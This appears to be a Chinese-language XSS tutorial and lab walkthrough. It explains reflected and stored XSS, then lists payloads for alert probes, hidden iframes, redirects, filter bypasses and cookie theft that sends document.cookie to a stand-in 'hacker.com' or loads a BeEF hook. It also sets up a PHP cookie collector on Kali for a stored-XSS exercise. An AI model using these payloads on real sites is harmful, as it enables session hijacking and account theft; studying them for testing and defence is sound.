跨站脚本(Cross SiteScript)为了避免与样式CSS混淆,所以简称XSS
XSS是经常出现在Web应用程序中的计算机安全漏洞,也是web中最主流的攻击方式,那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。
使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击针对的是用户层面的攻击!
1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
3. 盗窃企业重要的具有商业价值的资料;
4. 非法转账;
5. 强制发送电子邮件;
6. 网站挂马;
7. 控制受害者机器向其它网站发起攻击;
反射型XSS和存储型XSS
反射型(URL,要访问URL才会执行):
存储型(存储在服务器端,每次访问都会被执行):
<iframe> iframe元素会创建包含另外一个文档的内联框架(即行内框架)。
<textarea> <textarea> 标签定义多行的文本输入控件。
<img> img元素向网页中嵌入一幅图像。
<script> <script>标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src 属性指向外部
脚本文件。必需的type属性规定脚本的MIME类型。JavaScript的常见应用时图像操作、表单验证以及动态内容更新。
alert alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window. location window. location对象用于获得当前页面的地址(URL) ,并把浏览器重定向到新的页面。
location. href 返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时发生错误
下面简单构造几个XSS脚本,然后在后面手工XSS中应用下,帮助我们了解(下面的XSS代码可以起到参考作用)。
弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号 ’ ,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤 <>/’ 。 这样就可以证明这个页面位置存在了XSS漏洞。
<script>alert('xss' )</script>
<script>alert(document.cookie)</script> //弹出cookie 当前网页
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www. baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href= "http://10.1.64.35/mutillidae/robots.txt" </script>
这里结合了一些社会工程的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)
访问恶意代码
<script src="http://www.baidu.com/xss.js"></script>
<script src= "http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie
巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
绕开过滤的脚本
大小写:
<ScrIpt>alert('xss' )</SCRipt>
字符编码采用URL、Base64等编码:(下面给一个编码示例 unicode转ascll,可以利用一些转码工具)
<a
href= "http://www.baidu.com">sy</a>
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src= "http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src= "http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
下面我只举出一个案例来比较反射型XSS和存储型XSS的区别。大家也可以执行其他的XSS脚本练习练习。
复制前面的 到对话框里。弹出以下对话框(包含cookie信息)
但是我们再次访问的时候,就不会出现对话框了,但是我们复制好URL链接,让其他用户访问这个URL,那他就遭到了xss攻击了。例如我用kali的火狐访问URL:
这个不同于反射型存储型XSS,它是将XSS存储在服务器端,每次访问都会执行。比如依然执行那个弹出cookie对话框。
每次端机XSS stored都会弹出对话框。
下面模拟一个实验:利用kali渗透机获取客户端cookie
1.构建收集cookie服务器
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS代码并将cookie发送到Kali
4. Cookie利用
(1)kali上先配置Apache服务器作为cookie服务器。
编写一个XSS脚本
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
设置Apache权限
chmod 777 /var/www/html 给这个文件夹权限
#重启Apache
systemctl restart apache2
(2)在XSS stored上输入以下脚本。如果有输入字数限制,请打开开发之模式修改maxlength即可,如下图50改为350。
<script>window.open('http://192.168.0.4/cookie_rec.php?cookie='+document.cookie)</script>
“肉鸡” 这里就用本机 windos 访问 出提示 这里选择 允许弹窗
刷新一下上面那个页面,就会变成下面这样,说明触发了
去kali攻击机看一下 刚开始是没有的 ,windos浏览器访问出发了这个xss,攻击机就会收到这个cookie
这里只是简单模拟一下
Browser Exploitation Framework (BeEF )
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透:
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
官网:http://beefproject.com/
(1)先安装beef-xss。默认kali2020里没有安装beef的
#先更新一下软件然后安装beef-xss
apt-get update
apt-get install beef-xss
#由于beef不允许弱命令登录,所以修改beef-xss登录密码。编辑以下文件,直接修改passwd为beef@123456
cd /usr/share/beef-xss/
vim config.yaml
#启动beef
systemctl start beef-xss
暂时略